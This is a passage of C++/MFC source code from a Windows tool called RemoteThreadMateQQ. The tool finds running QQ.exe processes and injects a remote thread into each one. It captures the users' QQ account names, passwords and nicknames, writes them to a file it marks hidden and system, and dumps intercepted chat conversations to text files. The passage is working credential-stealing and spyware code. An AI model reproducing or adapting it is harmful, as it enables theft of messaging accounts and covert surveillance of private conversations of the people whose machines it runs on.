		delete tQQProcessInfo.pAry_QQChatContent;
	}
	m_Ary_QQProcessInfo.RemoveAt(nIndex);
}

void CRemoteThreadMateQQDlg::DeleteFrom__Ary_QQProcessInfo__ByPID ( DWORD dwQQProcessID )
{
	DeleteFrom__Ary_QQProcessInfo__ByIndex ( FindFrom__Ary_QQProcessInfo ( dwQQProcessID ) );
}

void CRemoteThreadMateQQDlg::DeleteAll__Ary_QQProcessInfo ()
{
	while ( m_Ary_QQProcessInfo.GetSize() > 0 )
	{
		DeleteFrom__Ary_QQProcessInfo__ByIndex ( 0 );
	}
}

void CRemoteThreadMateQQDlg::Save_Ary_QQProcessInfo ()
{
	CString csFileName = FormatString(_T("%s%s"), GetProgramDir(), QQProcessInfoFileName );
	hwSetFileAttr( csFileName, CFile::normal );
	CFile file;
	TRY
	{
		if ( file.Open ( csFileName,
			CFile::typeBinary|CFile::modeReadWrite|CFile::modeCreate ) )
		{
			CString csSaveingData;
			for ( int i=0; i<m_Ary_QQProcessInfo.GetSize(); i++ )
			{
				t_QQProcessInfo &tQQProcessInfo = m_Ary_QQProcessInfo.GetAt(i);
				if ( ProcessIsQQ(tQQProcessInfo.dwPID) )
				{
					csSaveingData += FormatString ( _T("\"%u\"\t\"%s\"\t\"%s\"\t\"%s\"\r\n"), tQQProcessInfo.dwPID,
						tQQProcessInfo.csLocalQQAccount, tQQProcessInfo.csLocalQQPassword, tQQProcessInfo.csLocalQQNickname );
				}
			}
			file.Write ( csSaveingData.GetBuffer(0), csSaveingData.GetLength() );
			file.Close ();
		}
	}
	CATCH( CFileException, e )
	{
	}
	CATCH_ALL(e)
	{
		THROW_LAST ();
	}
	END_CATCH_ALL;

	hwSetFileAttr ( csFileName, CFile::hidden|CFile::system );
}

void CRemoteThreadMateQQDlg::Read_Ary_QQProcessInfo ()
{
	CString csFileName = FormatString(_T("%s%s"), GetProgramDir(), QQProcessInfoFileName );
	CFile file;
	TRY
	{
		if ( file.Open ( csFileName, CFile::typeBinary|CFile::modeRead ) )
		{
			int nFileLength = file.GetLength();
			TCHAR *pFileData = (TCHAR*)new char[nFileLength+sizeof(TCHAR)];
			if ( pFileData )
			{
				memset ( pFileData, 0, nFileLength+sizeof(TCHAR) );
				if ( nFileLength == (int)file.Read ( pFileData, nFileLength ) )
				{
					CStringArray StrAry_QQProcessInfos;
					PartStringAndAddToStrAry ( pFileData, _T("\r\n"), StrAry_QQProcessInfos );
					Trace_StrAry ( StrAry_QQProcessInfos );
					for ( int i=0; i<StrAry_QQProcessInfos.GetSize(); i++ )
					{
						CStringArray StrAry_InfoItems;
						PartStringAndAddToStrAry ( StrAry_QQProcessInfos.GetAt(i), _T("\t"), StrAry_InfoItems );
						Trace_StrAry ( StrAry_InfoItems );
						if ( StrAry_InfoItems.GetSize() == 4 )
						{
							t_QQProcessInfo tQQProcessInfo;
							tQQProcessInfo.dwPID = atoi_hw ( CleanseString(StrAry_InfoItems.GetAt(0),_T("\"")) );
							if ( ProcessIsQQ(tQQProcessInfo.dwPID) )
							{
							//	tQQProcessInfo.csLocalQQAccount = CleanseString(StrAry_InfoItems.GetAt(1),_T("\""));
								tQQProcessInfo.csLocalQQPassword = CleanseString(StrAry_InfoItems.GetAt(2),_T("\""));
							//	tQQProcessInfo.csLocalQQNickname = CleanseString(StrAry_InfoItems.GetAt(3),_T("\""));
								if ( RemoteInject ( tQQProcessInfo.dwPID, TRUE ) )
								{
									m_Ary_QQProcessInfo.Add ( tQQProcessInfo );
							//		SetDlgItemText ( IDC_EDIT_LocalQQAccount, tQQProcessInfo.csLocalQQAccount );
									SetDlgItemText ( IDC_EDIT_LocalQQPassword, tQQProcessInfo.csLocalQQPassword );
							//		SetDlgItemText ( IDC_EDIT_LocalQQNickname, tQQProcessInfo.csLocalQQNickname );
							//		SetDlgItemText ( IDC_EDIT_QQStatus, FormatString(_T("%s %s"), tQQProcessInfo.csLocalQQAccount, _T("已登录") ) );
								}
							}
						}
						else
						{
							ASSERT ( FALSE );
						}
					}
				}
				delete[] pFileData;
			}
			file.Close ();
		}
	}
	CATCH( CFileException, e )
	{
	}
	CATCH_ALL(e)
	{
		THROW_LAST ();
	}
	END_CATCH_ALL;
}

//
// 检查看看是否所有的QQ账号信息已被调用者接收到了
//
void CRemoteThreadMateQQDlg::QQProcessInfoIsReceived ()
{
	BOOL bAllIsReceived = TRUE;
	for ( int i=0; i<m_Ary_QQProcessInfo.GetSize(); i++ )
	{
		t_QQProcessInfo &tQQProcessInfo = m_Ary_QQProcessInfo.GetAt(i);
		if ( ProcessIsQQ(tQQProcessInfo.dwPID) )
		{
			if ( tQQProcessInfo.csLocalQQAccount.IsEmpty() )
				bAllIsReceived = FALSE;
		}
	}

	if ( bAllIsReceived )
	{
		if ( HANDLE_IS_VALID(m_hEvtQQRecreateTray) )
			::ResetEvent ( m_hEvtQQRecreateTray );
		ShowLogText ( _T("所有的QQ账号信息已被调用者接收到了\r\n") );
	}
}

void CRemoteThreadMateQQDlg::ShowChatContents()
{
	for ( int i=0; i<m_Ary_QQProcessInfo.GetSize(); i++ )
	{
		t_QQProcessInfo &tQQProcessInfo = m_Ary_QQProcessInfo.GetAt(i);
		CString csFilename = FormatString(_T("c:\\%s的QQ聊天记录.txt"), tQQProcessInfo.csLocalQQNickname );
		DeleteFile ( csFilename );
		CString csText = FormatString(_T("这个文件是RemoteThreadMateQQ程序创建的,记录了用户的QQ聊天内容,目前是安全的,没有将这些内容发送出去,请放心 !\r\n\t\t\t——谢红伟(chrys@163.com)\r\n\r\n"));
		WriteDataToFile ( csFilename, (PUCHAR)csText.GetBuffer(0), sizeof(TCHAR)*csText.GetLength(), _T("ab+") );
		if ( tQQProcessInfo.pAry_QQChatContent && tQQProcessInfo.pAry_QQChatContent->GetSize() > 0 )
		{
			CString csChatInfo;
			for ( int i=0; i<tQQProcessInfo.pAry_QQChatContent->GetSize(); i++ )
			{
				t_QQChatContent &tQQChatContent = tQQProcessInfo.pAry_QQChatContent->GetAt(i);
				CString csSayer;
				if ( tQQChatContent.bIsSent )
					csSayer.Format(_T("%s 对 %s 说"), tQQProcessInfo.csLocalQQNickname, tQQChatContent.csQQPeerNickname );
				else
					csSayer.Format(_T("%s 对 %s 说"), tQQChatContent.csQQPeerNickname, tQQProcessInfo.csLocalQQNickname );
				csChatInfo += FormatString ( _T("[%s] %s\r\n%s\r\n\r\n"), csSayer,
					ConvertTimeToStr(tQQChatContent.tMsgTime), tQQChatContent.csChatText );
			}
			WriteDataToFile ( csFilename, (PUCHAR)csChatInfo.GetBuffer(0), sizeof(TCHAR)*csChatInfo.GetLength(), _T("ab+") );
			ShellExecute ( NULL, _T("open"), csFilename, NULL, NULL, SW_SHOW );
		}
	}
}

void CRemoteThreadMateQQDlg::InjectThreadWhenFoundNewQQ ()
{
	CStringArray StrAry_ProcessName;
	CUIntArray UIntAry_ProcessID;
	CStringArray StrAry_ProcessPath;
	if ( EnumQQProcess ( &StrAry_ProcessName, &UIntAry_ProcessID, &StrAry_ProcessPath ) < 1 )
	{
		return;
	}
	ASSERT ( UIntAry_ProcessID.GetSize() == StrAry_ProcessName.GetSize() );

	for ( int i=0; i<StrAry_ProcessName.GetSize(); i++ )
	{
		CString csProcessName = StrAry_ProcessName.GetAt ( i );
		ASSERT ( csProcessName == _T("qq.exe") );
		DWORD dwQQProcessID = UIntAry_ProcessID.GetAt(i);
		if ( FindFrom__Ary_QQProcessInfo ( dwQQProcessID ) < 0 )
		{
			m_csQQPassword.Empty ();
			t_QQProcessInfo tQQProcessInfo;
			tQQProcessInfo.dwPID = dwQQProcessID;
			
			if ( RemoteInject ( dwQQProcessID, FALSE ) )
			{
				m_Ary_QQProcessInfo.Add ( tQQProcessInfo );
			}
		}
	}
}

BOOL ProcessIsQQ ( DWORD dwPID )
{
	HANDLE hProcess = OpenProcess ( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPID );
	if ( !hProcess ) return FALSE;
	CloseHandle ( hProcess );
	
	TCHAR modname[_MAX_PATH] = {0};
	CProcessModuleIterator itm(dwPID);
	HMODULE hModule = itm.First();
	if ( !hModule ) return FALSE;

	GetModuleBaseName ( itm.GetProcessHandle(), hModule, modname, _MAX_PATH );
	CString csFileName = PathFindFileName ( modname );
	return ( csFileName.CompareNoCase(_T("QQ.exe")) == 0 );
}

void CRemoteThreadMateQQDlg::OnBUTTONTest() 
{
	CStringArray StrAry_ProcessName;
	CUIntArray UIntAry_ProcessID;
	CStringArray StrAry_ProcessPath;
	if ( EnumQQProcess ( &StrAry_ProcessName, &UIntAry_ProcessID, &StrAry_ProcessPath ) < 1 )
	{
		AfxMessageBox ( _T("没有发现QQ进程") );
		return;
	}

	m_pQQMate = new CQQMate(UIntAry_ProcessID.GetAt(0),_T(""));
	if ( m_pQQMate )
	{
		m_pQQMate->Init();
	}
}